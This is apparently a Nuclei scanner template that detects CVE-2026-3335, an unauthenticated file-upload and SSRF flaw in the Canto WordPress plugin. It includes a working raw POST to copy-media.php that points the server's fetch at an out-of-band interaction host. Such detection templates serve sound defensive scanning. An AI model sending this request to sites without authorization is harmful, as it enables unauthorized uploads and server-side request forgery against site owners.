id: CVE-2026-3335

info:
  name: Canto <= 3.1.1 - Missing Authorization to Unauthenticated File Upload
  author: iamatownboy
  severity: medium
  description: |
    The Canto plugin for WordPress is vulnerable to missing authorization in the copy-media.php upload flow.
    The file is directly accessible and accepts attacker-controlled parameters for the upload destination, allowing unauthenticated users to upload arbitrary files constrained to WordPress-allowed MIME types.
    The fbc_app_api parameter controls the domain WordPress fetches from via wp_safe_remote_get, enabling SSRF to attacker-controlled infrastructure.
  impact: |
    Unauthenticated attackers can upload files into the WordPress media library by pointing the server-side fetch at an attacker-controlled Canto API. This also enables SSRF via the fbc_app_api parameter.
  remediation: |
    Update Canto to version 3.1.2 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-3335
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/0777f759-6980-4572-a866-0210bd5f5085?source=cve
    - https://plugins.trac.wordpress.org/browser/canto/tags/3.1.1/includes/lib/copy-media.php#L71
    - https://plugins.trac.wordpress.org/browser/canto/tags/3.1.1/includes/lib/copy-media.php#L152
    - https://plugins.trac.wordpress.org/browser/canto/tags/3.1.1/includes/lib/copy-media.php#L306
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-3335
    epss-score: 0.00969
    epss-percentile: 0.58415
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
    vendor: flightbycanto
    product: canto
    framework: wordpress
    publicwww-query: "/wp-content/plugins/canto/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,canto,missing-auth,unauth,file-upload,ssrf,oast

variables:
  token: "{{rand_text_alpha(10)}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/canto/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "Canto")
          - compare_versions(version, "<= 3.1.1")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-content/plugins/canto/includes/lib/copy-media.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/

        fbc_id={{token}}&fbc_scheme=image&fbc_flight_domain={{token}}&fbc_app_api={{interactsh-url}}&fbc_app_token={{token}}&chromeless=1

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: attachment
        part: body
        group: 1
        regex:
          - '"attachment_id":(\d+)'
# digest: 490a0046304402204af1d50d44d9839c812b5bc0584acc0ebf4b0fea681b49bb3d410f2c4bc08a2602200df893745cacf7476b8772d5712ac2472e0849ceb708e277b558b3c4093532b1:922c64590222798bb761d5b6d8e72950